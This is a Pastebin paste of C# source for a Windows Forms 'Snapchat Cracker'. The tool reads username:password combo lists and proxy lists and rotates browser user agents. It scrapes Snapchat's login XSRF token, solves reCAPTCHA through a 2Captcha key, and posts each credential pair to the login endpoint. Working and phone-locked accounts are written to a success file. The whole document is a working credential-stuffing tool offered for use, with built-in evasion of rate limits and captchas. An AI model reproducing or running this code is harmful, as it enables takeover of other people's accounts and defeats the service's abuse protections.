Advertisement
Guest User

Untitled

a guest
Jul 29th, 2018
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.26 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.IO;
  7. using System.Linq;
  8. using System.Net;
  9. using System.Text;
  10. using System.Text.RegularExpressions;
  11. using System.Threading;
  12. using System.Windows.Forms;
  13. using xNet;
  14.  
  15. namespace Snapchat_Cracker
  16. {
  17. public partial class Form1 : Form
  18. {
  19. public Form1()
  20. {
  21. InitializeComponent();
  22. ProxyCombobox.SelectedIndex = 0;
  23. AddTolist();
  24. FileName = string.Format("Success - {0:yyyy-MM-dd_hh-mm-ss-tt}.txt", DateTime.Now);
  25. try
  26. {
  27. if (!Directory.Exists(@"Accounts\"))
  28. Directory.CreateDirectory(@"Accounts\");
  29. }
  30. catch (Exception)
  31. {
  32. }
  33. this.fastObjectListView1.UseCellFormatEvents = true;
  34. this.fastObjectListView1.FormatCell += (sender, args) =>
  35. {
  36. if (args.ColumnIndex == 0 || args.ColumnIndex == 1 || args.ColumnIndex == 2)
  37. return;
  38. args.Item.SubItems[3].ForeColor = args.Item.SubItems[3].Text.Contains("Phone") ? Color.Red : Color.Green;
  39. };
  40.  
  41. }
  42. void AddTolist()
  43. {
  44. Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0");
  45. Useragents.Add("Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0");
  46. Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0");
  47. Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36");
  48. Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9");
  49. Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36");
  50. Useragents.Add("Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36");
  51. Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0");
  52. Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/45.0");
  53. Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/50.0");
  54. Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/55.0");
  55. Useragents.Add("Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
  56. Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7");
  57. Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
  58. Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
  59. Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
  60. }
  61.  
  62. string FileName;
  63.  
  64. HashSet<string> Proxies = new HashSet<string>();
  65. HashSet<string> Accounts = new HashSet<string>();
  66. HashSet<string> Useragents = new HashSet<string>();
  67. List<Thread> tList = new List<Thread>();
  68. int checkedcnt, goodcnt, badcnt, phonelockedcnt, errorscnt, captchacnt, lvcount;
  69.  
  70. object _lock = new object();
  71. int index = 0;
  72. bool isRunning;
  73. TwoCaptchaClient client;
  74. Random rnd = new Random();
  75. int ProxyChoice = 0;
  76.  
  77. private ProxyClient GetProxyClient(string Proxy)
  78. {
  79. switch (ProxyChoice)
  80. {
  81. case 0:
  82. {
  83. return HttpProxyClient.Parse(Proxy);
  84. }
  85. case 1:
  86. {
  87. return Socks4ProxyClient.Parse(Proxy);
  88. }
  89. case 2:
  90. {
  91. return Socks5ProxyClient.Parse(Proxy);
  92. }
  93. }
  94. return HttpProxyClient.Parse(Proxy);
  95. }
  96. string Ofd(string choicename, int choice)
  97. {
  98. int cnt = 0;
  99.  
  100. OpenFileDialog ofd = new OpenFileDialog();
  101. ofd.Title = $"Load {choicename} File";
  102. ofd.CheckFileExists = true;
  103. ofd.DefaultExt = "txt";
  104. ofd.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*";
  105. ofd.FilterIndex = 1;
  106. ofd.RestoreDirectory = true;
  107. if (ofd.ShowDialog() == DialogResult.OK)
  108. {
  109. if (choice == 0)
  110. {
  111. Accounts.Clear();
  112. Accounts = new HashSet<string>(File.ReadAllLines(ofd.FileName).ToList());
  113. cnt = Accounts.Count;
  114. }
  115. else
  116. {
  117. Proxies.Clear();
  118. Proxies = new HashSet<string>(File.ReadAllLines(ofd.FileName).ToList());
  119. cnt = Proxies.Count;
  120. }
  121.  
  122. MessageBox.Show($"Total {cnt} {choicename} Loaded!");
  123. }
  124. return ofd.FileName;
  125. }
  126. private void StartBtn_Click(object sender, EventArgs e)
  127. {
  128. if (Accounts.Count == 0)
  129. {
  130. MessageBox.Show("Please load accounts to being cracking!", "Accounts", MessageBoxButtons.OK, MessageBoxIcon.Warning);
  131. return;
  132. }
  133. if (Proxies.Count == 0)
  134. {
  135. MessageBox.Show("Please load proxies to being cracking!", "Proxies", MessageBoxButtons.OK, MessageBoxIcon.Warning);
  136. return;
  137. }
  138. var twocaptcha = textBox3.Text;
  139. if (string.IsNullOrEmpty(twocaptcha))
  140. {
  141. MessageBox.Show("Please Enter 2Captcha Key in textbox field!", "Twocaptcha", MessageBoxButtons.OK, MessageBoxIcon.Warning);
  142. return;
  143. }
  144. ProxyChoice = ProxyCombobox.SelectedIndex;
  145. client = new TwoCaptchaClient(twocaptcha);
  146. var threads = (int)numericUpDown1.Value;
  147. isRunning = true;
  148. Toggle(0);
  149. checkedcnt = 0; goodcnt = 0; badcnt = 0; phonelockedcnt = 0; errorscnt = 0; index = 0; captchacnt = 0; lvcount = 0;
  150. for (int i = 0; i < threads; i++)
  151. {
  152. var t = new Thread(DoTask); t.IsBackground = true; tList.Add(t);
  153. t.Start();
  154. }
  155. var balanceT = new Thread(UpdateBalance); balanceT.IsBackground = true; balanceT.Start();
  156. var updateT = new Thread(() =>
  157. {
  158. while (true)
  159. {
  160. if (isCompleted())
  161. {
  162.  
  163. UpdateStatus("Completed");
  164. MessageBox.Show("Snap Heaven Cracking Completed!", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
  165. this.Invoke(new MethodInvoker(() =>
  166. {
  167. Toggle(1);
  168. }));
  169. break;
  170. }
  171. UpdateStatus("Running");
  172. Thread.Sleep(1000);
  173. }
  174. });
  175. updateT.IsBackground = true;
  176. updateT.Start();
  177. }
  178. void UpdateBalance()
  179. {
  180. while (isRunning)
  181. {
  182. try
  183. {
  184. this.Invoke(new MethodInvoker(() =>
  185. {
  186. label7.Text = $"${client.GetBalance()}";
  187. }));
  188. }
  189. catch (Exception)
  190. {
  191. }
  192. Thread.Sleep(60000);
  193. }
  194. }
  195. object _SaveLock = new object();
  196. void Save(string acc, string pass, string status)
  197. {
  198. try
  199. {
  200. lock (_SaveLock)
  201. {
  202. var lvdata = new LVData();
  203. lvdata.Index = lvcount + 1;
  204. lvdata.Username = acc;
  205. lvdata.Password = pass;
  206. lvdata.Status = status.Length > 0 ? "Phone Verification Required" : "Regular Account";
  207. fastObjectListView1.AddObject(lvdata);
  208. Interlocked.Increment(ref lvcount);
  209. File.AppendAllText(@"Accounts\" + FileName, $"{acc}:{pass}{status}" + Environment.NewLine);
  210. }
  211. }
  212. catch (Exception) { }
  213. }
  214. void UpdateStatus(string status)
  215. {
  216. StatusTxt.Text = $"Status: {status} | Checked: {checkedcnt} | Success: {goodcnt} | Phone Locked: {phonelockedcnt} | Bad: {badcnt} | Captcha: {captchacnt} | Errors: {errorscnt} |";
  217. }
  218. bool isCompleted()
  219. {
  220. foreach (var item in tList)
  221. {
  222. if (item.IsAlive) return false;
  223. }
  224. return true;
  225. }
  226.  
  227. private void Stopbtn_Click(object sender, EventArgs e)
  228. {
  229. isRunning = false;
  230. Stopbtn.Enabled = false;
  231. isRunning = false;
  232. Stopbtn.Enabled = false;
  233. var t = new Thread(() =>
  234. {
  235. foreach (var item in tList)
  236. {
  237. try
  238. {
  239. item.Abort();
  240. }
  241. catch (Exception)
  242. {
  243. }
  244. }
  245. });
  246. t.IsBackground = true;
  247. t.Start();
  248. }
  249.  
  250. private void clearListToolStripMenuItem_Click(object sender, EventArgs e)
  251. {
  252. try
  253. {
  254. if (fastObjectListView1.Items.Count == 0) return;
  255. var dialog = MessageBox.Show("Are you sure? This will clear the Cracked accounts list", "Sure?", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
  256. if (dialog == DialogResult.Yes)
  257. {
  258. fastObjectListView1.Objects = null; lvcount = 0;
  259. }
  260. }
  261. catch (Exception)
  262. {
  263. }
  264. }
  265.  
  266. private void copyUsernameToolStripMenuItem_Click(object sender, EventArgs e)
  267. {
  268. try
  269. {
  270. Clipboard.SetText(((LVData)fastObjectListView1.SelectedObject).Username);
  271. }
  272. catch (Exception)
  273. {
  274. }
  275. }
  276.  
  277. private void copyPasswordToolStripMenuItem_Click(object sender, EventArgs e)
  278. {
  279. try
  280. {
  281. Clipboard.SetText(((LVData)fastObjectListView1.SelectedObject).Password);
  282. }
  283. catch (Exception)
  284. {
  285. }
  286. }
  287.  
  288. private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e)
  289. {
  290. try
  291. {
  292. System.Diagnostics.Process.Start(@"Accounts\");
  293. }
  294. catch (Exception) { }
  295. }
  296.  
  297. void Toggle(int choice)
  298. {
  299. if (choice == 0)
  300. {
  301. StartBtn.Enabled = false;
  302. Stopbtn.Enabled = true;
  303. LoadAcs.Enabled = false;
  304. LoadProxies.Enabled = false;
  305. ProxyCombobox.Enabled = false;
  306. numericUpDown1.Enabled = false;
  307. textBox3.Enabled = false;
  308. }
  309. else
  310. {
  311. StartBtn.Enabled = true;
  312. Stopbtn.Enabled = false;
  313. LoadAcs.Enabled = true;
  314. LoadProxies.Enabled = true;
  315. ProxyCombobox.Enabled = true;
  316. numericUpDown1.Enabled = true;
  317. textBox3.Enabled = true;
  318. }
  319. }
  320.  
  321. string GetAccount()
  322. {
  323. var acc = "";
  324. lock (this)
  325. {
  326. try
  327. {
  328. if (index < Accounts.Count)
  329. {
  330. acc = Accounts.ElementAt(index);
  331. index += 1;
  332. }
  333. }
  334. catch (Exception)
  335. {
  336. }
  337. }
  338. return acc;
  339. }
  340. void DoTask()
  341. {
  342. while (isRunning)
  343. {
  344. var acc = GetAccount();
  345. if (string.IsNullOrEmpty(acc)) break;
  346. var accdata = acc.Split(':');
  347. for (int i = 0; i < 5; i++)
  348. {
  349. try
  350. {
  351. var proxy = Proxies.ElementAt(rnd.Next(Proxies.Count));
  352. var req = new HttpReq(GetProxyClient(proxy), Useragents.ElementAt(rnd.Next(Useragents.Count)));
  353. var src = req.Get("https://accounts.snapchat.com/accounts/login");
  354. var token = Regex.Match(src, "data-xsrf=\"(.*?)\"");
  355. if (!token.Success) continue;
  356. req.cookies.Add("xsrf_token", token.Groups[1].Value);
  357. var datakey = "6LdENzEUAAAAAMud35tItKpnCdOuZxblLIPOo9uw"; //update datakey if its changed on website.
  358. var gresponse = "";
  359. if (client.SolveRecaptchaV2(datakey, "https://accounts.snapchat.com/accounts/login", out gresponse))
  360. {
  361. var pdata = $"username={(accdata[0].Replace("@", "%40"))}&password={accdata[1]}&xsrf_token={token.Groups[1].Value}&continue=%2Faccounts%2Fwelcome&g-recaptcha-response={gresponse}&g-recaptcha-response={gresponse}";
  362. src = req.Post("https://accounts.snapchat.com/accounts/login", pdata, "https://accounts.snapchat.com/");
  363. if (src.Contains("accounts/logout"))
  364. {
  365. Save(accdata[0], accdata[1], "");
  366. Interlocked.Increment(ref goodcnt);
  367. }
  368. else if (src.Contains("data-obfuscated-phone"))
  369. {
  370. Save(accdata[0], accdata[1], " - Phone Verification Required");
  371. Interlocked.Increment(ref phonelockedcnt);
  372. Interlocked.Increment(ref goodcnt);
  373.  
  374. }
  375. else if (src.Contains("Unable to verify captcha"))
  376. {
  377. Interlocked.Increment(ref captchacnt);
  378. continue;
  379. }
  380. else
  381. {
  382. Interlocked.Increment(ref badcnt);
  383. }
  384. Interlocked.Increment(ref checkedcnt);
  385. break;
  386. }
  387. }
  388. catch (Exception)
  389. {
  390. Interlocked.Increment(ref errorscnt);
  391. //Interlocked.Increment(ref checkedcnt);
  392. }
  393. }
  394. }
  395. }
  396. private void LoadAcs_Click(object sender, EventArgs e)
  397. {
  398. var fname = Ofd("Accounts", 0);
  399. if (!string.IsNullOrEmpty(fname))
  400. {
  401. AccountsPathBox.Text = fname;
  402. }
  403. }
  404. private void LoadProxies_Click(object sender, EventArgs e)
  405. {
  406. var fname = Ofd("Proxies", 1);
  407. if (!string.IsNullOrEmpty(fname))
  408. {
  409. ProxiesPathBox.Text = fname;
  410. }
  411. }
  412.  
  413. private void Aboutbtn_Click(object sender, EventArgs e)
  414. {
  415. MessageBox.Show("Made by ", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
  416. }
  417. }
  418. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement